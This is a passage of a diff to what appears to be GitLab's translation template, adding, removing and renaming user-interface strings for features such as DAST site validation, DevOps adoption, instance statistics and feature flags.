msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
